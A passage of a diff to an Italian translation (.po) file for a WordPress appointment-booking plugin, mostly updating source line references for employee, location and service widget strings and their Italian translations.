assets\u002Fjs\u002Fgutenberg-blocks.js:13428\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13551\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12691\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12814\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12937\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13060\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13183\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13306\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13429\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13552\n msgid \"Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.\"\n msgstr \"ID del post di un dipendente da cui visualizzare il contenuto. Nota: questo parametro utilizza automaticamente l'ID del post corrente quando uno shortcode è all'interno del post del dipendente ed è richiesto altrimenti.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeContactsModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeContactsWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeContactsShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13358\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13359\n msgid \"Employee Contact Information\"\n msgstr \"Informazioni di contatto del dipendente\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeContentModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeContentWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeContentShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13235\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13236\n msgid \"Employee Content\"\n msgstr \"Contenuto del Dipendente\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeImageModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeImageWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeImageShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12743\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12744\n msgid \"Employee Image\"\n msgstr \"Immagine del Dipendente\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeScheduleModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeScheduleWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeScheduleShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13112\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13113\n msgid \"Employee Schedule\"\n msgstr \"Programmi per turni di lavoro\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeServicesListModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeServicesListWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeServicesListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12989\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12990\n msgid \"Employee Services List\"\n msgstr \"Elenco servizi dei dipendenti\"\n \n@@ -1642,7 +1632,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:25\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:29\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11692\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11693\n msgid \"Employees List\"\n msgstr \"Elenco dipendenti\"\n \n@@ -1658,10 +1648,10 @@\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:41\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:43\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:41\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11509\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11804\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12090\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12408\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11510\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11805\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12091\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12409\n msgid \"Show featured image.\"\n msgstr \"Mostra immagine in evidenza.\"\n \n@@ -1674,9 +1664,9 @@\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:46\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:46\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:46\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11517\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11812\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12416\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11518\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11813\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12417\n msgid \"Show post title.\"\n msgstr \"Mostra titolo del post.\"\n \n@@ -1689,30 +1679,30 @@\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:51\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:51\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:51\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11525\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11820\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12424\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11526\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11821\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12425\n msgid \"Show post excerpt.\"\n msgstr \"Mostra un estratto del post.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:57\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:74\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:56\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11533\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11534\n msgid \"Show contact information.\"\n msgstr \"Mostra informazioni di contatto.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:67\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:84\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:61\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11541\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11542\n msgid \"Show social networks.\"\n msgstr \"Mostra Reti Sociali.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:77\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:94\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:66\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11549\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11550\n msgid \"Show additional information.\"\n msgstr \"Mostra informazioni aggiuntive.\"\n \n@@ -1720,7 +1710,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:107\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:60\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:71\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11558\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11559\n msgid \"Comma-separated slugs or IDs of employees that will be shown.\"\n msgstr \"Chiavi o identificatori separate da virgole o ID dei dipendenti che verranno visualizzati.\"\n \n@@ -1734,8 +1724,8 @@\n #: includes\u002Fpost-types\u002FLocationPostType.php:77\n #: assets\u002Fjs\u002Fanalytics-page.js:33420\n #: assets\u002Fjs\u002Fcalendar-page.js:45397\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11566\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11828\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11567\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11829\n msgid \"Locations\"\n msgstr \"Posizioni\"\n \n@@ -1743,8 +1733,8 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:117\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:66\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:76\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11567\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11829\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11568\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11830\n msgid \"Comma-separated slugs or IDs of locations.\"\n msgstr \"Chiavi o identificatori separate da virgole o ID delle posizioni.\"\n \n@@ -1757,9 +1747,9 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:71\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FLocationsListMetabox.php:68\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:84\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11575\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11846\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12500\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11576\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11847\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12501\n msgid \"Posts Per Page\"\n msgstr \"Post per pagina\"\n \n@@ -1777,10 +1767,10 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:96\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:91\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:237\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11584\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11855\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12170\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12509\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11585\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11856\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12171\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12510\n msgid \"Columns Count\"\n msgstr \"Conteggio colonne\"\n \n@@ -1798,10 +1788,10 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:92\n #: includes\u002Fshortcodes\u002FAbstractPostsListShortcode.php:29\n #: includes\u002Fshortcodes\u002FAbstractTermsListShortcode.php:30\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11585\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11856\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12171\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12510\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11586\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11857\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12172\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12511\n msgid \"The number of columns in the grid.\"\n msgstr \"Il numero di colonne della griglia.\"\n \n@@ -1815,10 +1805,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:178\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:59\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:54\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11594\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11865\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12180\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12519\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11595\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11866\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12181\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12520\n msgid \"Order By\"\n msgstr \"Ordina per\"\n \n@@ -1832,10 +1822,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:182\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:39\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:40\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11601\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11872\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12187\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12526\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11602\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11873\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12188\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12527\n msgid \"No order\"\n msgstr \"Nessun ordine\"\n \n@@ -1846,9 +1836,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:124\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:183\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:40\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11604\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11875\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12529\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11605\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11876\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12530\n msgid \"Post ID\"\n msgstr \"ID articolo\"\n \n@@ -1859,9 +1849,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:125\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:184\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:41\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11607\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11878\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12532\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11608\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11879\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12533\n msgid \"Post author\"\n msgstr \"Autore\"\n \n@@ -1875,9 +1865,9 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FLocationsListMetabox.php:49\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:49\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:42\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11610\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11881\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12535\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11611\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11882\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12536\n msgid \"Post title\"\n msgstr \"Titolo del post\"\n \n@@ -1888,9 +1878,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:127\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:186\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:43\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11613\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11884\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12538\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11614\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11885\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12539\n msgid \"Post name (post slug)\"\n msgstr \"Nome del post ( slug del post)\"\n \n@@ -1901,9 +1891,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:128\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:187\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:44\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11616\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11887\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12541\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11617\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11888\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12542\n msgid \"Post date\"\n msgstr \"Data del post\"\n \n@@ -1914,9 +1904,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:129\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:188\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:45\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11619\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11890\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12544\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11620\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11891\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12545\n msgid \"Last modified date\"\n msgstr \"Data dell'ultima modifica\"\n \n@@ -1927,9 +1917,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:130\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:189\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:46\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11622\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11893\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12547\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11623\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11894\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12548\n msgid \"Random order\"\n msgstr \"Ordine casuale\"\n \n@@ -1940,9 +1930,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:131\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:190\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:47\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11625\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11896\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12550\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11626\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11897\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12551\n msgid \"Relevance\"\n msgstr \"Pertinenza\"\n \n@@ -1956,10 +1946,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:191\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:48\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:48\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11628\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11899\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12211\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12553\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11629\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11900\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12212\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12554\n msgid \"Page order\"\n msgstr \"Ordine pagine\"\n \n@@ -1970,9 +1960,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:133\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:192\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:49\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11631\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11902\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12556\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11632\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11903\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12557\n msgid \"Page order and post title\"\n msgstr \"Ordine della pagina e titolo del post\"\n \n@@ -1984,10 +1974,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:146\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:178\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:206\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11641\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11912\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12221\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12569\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11642\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11913\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12222\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12570\n msgid \"DESC\"\n msgstr \"DESC\"\n \n@@ -2001,24 +1991,24 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:207\n #: includes\u002Fshortcodes\u002FAbstractPostsListShortcode.php:42\n #: includes\u002Fshortcodes\u002FAbstractTermsListShortcode.php:43\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11644\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11915\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12224\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12572\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11645\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11916\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12225\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12573\n msgid \"ASC\"\n msgstr \"ASC\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeSocialNetworksModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeSocialNetworksWidget.php:25\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeSocialNetworksShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13481\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13482\n msgid \"Employee Social Networks\"\n msgstr \"Reti sociali dei dipendenti\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeTitleModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeTitleWidget.php:25\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeTitleShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12866\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12867\n msgid \"Employee Title\"\n msgstr \"Titolo del dipendente\"\n \n@@ -2026,7 +2016,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:25\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FLocationsListMetabox.php:29\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11963\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11964\n msgid \"Locations List\"\n msgstr \"Elenco delle posizioni\"\n \n@@ -2048,9 +2038,9 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:72\n #: includes\u002Fpost-types\u002FLocationPostType.php:124\n #: includes\u002Fpost-types\u002FServicePostType.php:164\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11837\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12123\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12482\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11838\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12124\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12483\n msgid \"Categories\"\n msgstr \"Categorie\"\n \n@@ -2066,9 +2056,9 @@\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:61\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:64\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:86\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11838\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12124\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12483\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11839\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12125\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12484\n msgid \"Comma-separated slugs or IDs of categories that will be shown.\"\n msgstr \"Chiavi o identificatori separate da virgole o ID delle categorie che verranno visualizzate.\"\n \n@@ -2078,26 +2068,26 @@\n #: includes\u002Fpost-types\u002FServicePostType.php:149\n #: includes\u002Fpost-types\u002FServicePostType.php:252\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:31\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12272\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12273\n msgid \"Service Categories\"\n msgstr \"Categorie di servizi\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:37\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:53\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12098\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12099\n msgid \"Show Services Count?\"\n msgstr \"Mostrare il conteggio dei servizi?\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:47\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:63\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12106\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12107\n msgid \"Show Description?\"\n msgstr \"Mostrare la descrizione?\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:57\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:73\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:56\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12114\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12115\n msgid \"Parent\"\n msgstr \"Superiore\"\n \n@@ -2105,14 +2095,14 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:76\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:57\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:58\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12115\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12116\n msgid \"Parent term slug or ID to retrieve direct-child terms from.\"\n msgstr \"Slug o ID del termine superiore da cui recuperare i termini diretti di categoria inferiore.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:69\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:93\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:68\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12132\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12133\n msgid \"Exclude Categories\"\n msgstr \"Escludi Categorie\"\n \n@@ -2120,21 +2110,21 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:96\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:69\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:69\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12133\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12134\n msgid \"Comma-separated slugs or IDs of categories that will not be shown.\"\n msgstr \"Chiavi o identificatori separate da virgole o ID delle categorie che non verranno visualizzate.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:75\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:103\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:74\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12141\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12142\n msgid \"Hide Empty\"\n msgstr \"Nascondi vuoti\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:85\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:114\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:80\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12150\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12151\n msgid \"Depth\"\n msgstr \"Profondità\"\n \n@@ -2142,14 +2132,14 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:115\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:81\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:79\n-#: 